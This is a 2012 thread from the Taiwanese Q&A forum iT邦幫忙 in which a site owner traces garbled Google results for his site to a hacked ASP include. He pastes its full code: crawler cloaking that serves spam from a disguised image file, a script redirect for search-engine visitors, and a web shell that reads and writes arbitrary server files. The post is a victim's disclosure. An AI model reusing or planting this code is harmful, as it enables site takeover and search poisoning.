iT邦幫忙

0

SEO GOOGLE 收錄了我的網址 卻出現亂碼(頁庫存檔裡也是亂碼) 複製網址到各瀏覽器網址貼上卻正常顯示網頁!

SEO GOOGLE 收錄了我的網址 卻出現亂碼(頁庫存檔裡也是亂碼)
複製網址到各瀏覽器網址貼上卻正常顯示網頁!今天發現之前原本是正常的中文字
這是發生了什麼事?我該如何解決呢?

圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 個回答

2
wiseguy
iT邦超人 1 級 ‧ 2012-05-07 13:59:26
最佳解答

看看你的網頁有沒有把這行寫對:
<meta http-equiv="content-type" content="text/html; charset=big5">
或者
<meta http-equiv="content-type" content="text/html; charset=utf-8">

如果有,那再檢查看看內容文字,試著用 ConvertZ 軟體轉換、跟原來的網頁比對看看是不是有夾雜簡體字或別國文字。

看更多先前的回應...收起先前的回應...
bingo1977 iT邦新手 5 級 ‧ 2012-06-13 09:22:57 檢舉

我後來進去trace 這個網站 發現是
網站裡面的首頁被崁入了一段程式碼↓

&lt;pre class="c" name="code">&lt;!--#include file="images/inc.asp"-->

然後我再去看這個路徑的下的inc.asp
結果發現這個

&lt;pre class="c" name="code">&lt;%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso")
isspider= false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function


function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i=0 to ubound(searray)
 if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function


&lt;限1000字 所以改段PO>
bingo1977 iT邦新手 5 級 ‧ 2012-06-13 09:24:28 檢舉
&lt;pre class="c" name="code">if(isspider()) then
  dim myfso,fileurl,filecon,myfile
  fileurl=Server.MapPath("/images/h20.jpg")
  Set myfso=Server.CreateObject("Scripting.FileSystemObject") 
  if myfso.FileExists(fileurl) then 
    Set myfile=myfso.OpenTextFile(fileurl, 1)
    filecon=myfile.readAll
    response.write(filecon)
    response.write("&lt;!--"&now()&"-->")
    myfile.Close 
    Set myfile=Nothing 
    Set myfso=Nothing
    response.end
  end if
end if
bingo1977 iT邦新手 5 級 ‧ 2012-06-13 09:26:52 檢舉
&lt;pre class="c" name="code">if (fromse()) then
  response.write("&lt;script language='javascript' src='images/m.jpg'>&lt;/script>&lt;br/>")
  response.end
end if
%>


&lt;% 
on error resume next 

id=request("id") 

if request("id")="1," then 

%> 
bingo1977 iT邦新手 5 級 ‧ 2012-06-13 09:27:15 檢舉
&lt;pre class="c" name="code">&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312">
&lt;title>&lt;/title>
&lt;meta name="GENERATOR" content="Microsoft FrontPage 3.0">

&lt;body bgcolor="#FFFFFF">
&lt;%
Function GetPP
	dim s
	s=Request.ServerVariables("path_translated")
	GetPP=left(s,instrrev(s,"\",len(s)))
End function
MODE=Request("MODE") 
sPP=Request("PP")
if sPP="" then sPP=GetPP
if right(sPP,1)&lt;>"\" then sPP=sPP&"\"
Response.Write "&lt;b>Index of "&sPP& "&lt;/b>"		
%>
bingo1977 iT邦新手 5 級 ‧ 2012-06-13 09:27:40 檢舉
&lt;pre class="c" name="code">&lt;%f=request("f")
if f&lt;>"" then
	Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
	if request("save")="" then
		Set objCountFile = objFSO.OpenTextFile(f,1,True)
		If Not objCountFile.AtEndOfStream Then fdata = objCountFile.ReadAll
	else
		fdata=request("fdata")
		Set objCountFile=objFSO.CreateTextFile(f,True)
		objCountFile.Write fdata
	end if
	objCountFile.Close
	Set objCountFile=Nothing
	Set objFSO = Nothing
end if
%>
bingo1977 iT邦新手 5 級 ‧ 2012-06-13 09:28:36 檢舉
&lt;pre class="c" name="code">&lt;form method=POST>
&lt;table border=0 cellspacing=0 bgcolor=#000000>
  &lt;tr>
    &lt;td>&lt;table border=0 cellpadding=10 cellspacing=0 bgcolor=#FFFFFF>
      &lt;tr>
        &lt;td>&lt;table bordercolor=#0080FF bgcolor=#FFFFD0 border=1>
          &lt;tr>
            &lt;td bgcolor="#0080FF">&lt;font color="#FFFFFF">Pathㄩ&lt;%=f%>&lt;/font>&lt;/td>
          &lt;tr>
            &lt;td>&lt;input type="submit" value="ok" name="save">&lt;input type="reset" value="reset">&lt;br>
&lt;textarea rows="12" name="fdata" cols="99">&lt;%=fdata%>&lt;/textarea>&lt;/td>
          &lt;/tr>
        &lt;/table>
        &lt;/td>
      &lt;/tr>
    &lt;/table>
    &lt;/td>
  &lt;/tr>
&lt;/table>
&lt;/form>



&lt;%end if%> 
bingo1977 iT邦新手 5 級 ‧ 2012-06-13 09:33:56 檢舉

以上就是 INC.ASP裡面藏的東西
我後來把首頁的<!--#include file="images/inc.asp"--> 這個拿掉
然後再把images/inc.asp這支ASP移出 再去GOOGLE 移除我自己的無效敘述就好了!
但是
有沒有人可以告訴我! 這個程式的意圖要做什麼呢?
另外 他是利用什麼IIS的什麼漏洞把這個inc.asp駭進來及再首頁寫入<!--#include file="images/inc.asp"-->的呢?

我要發表回答

立即登入回答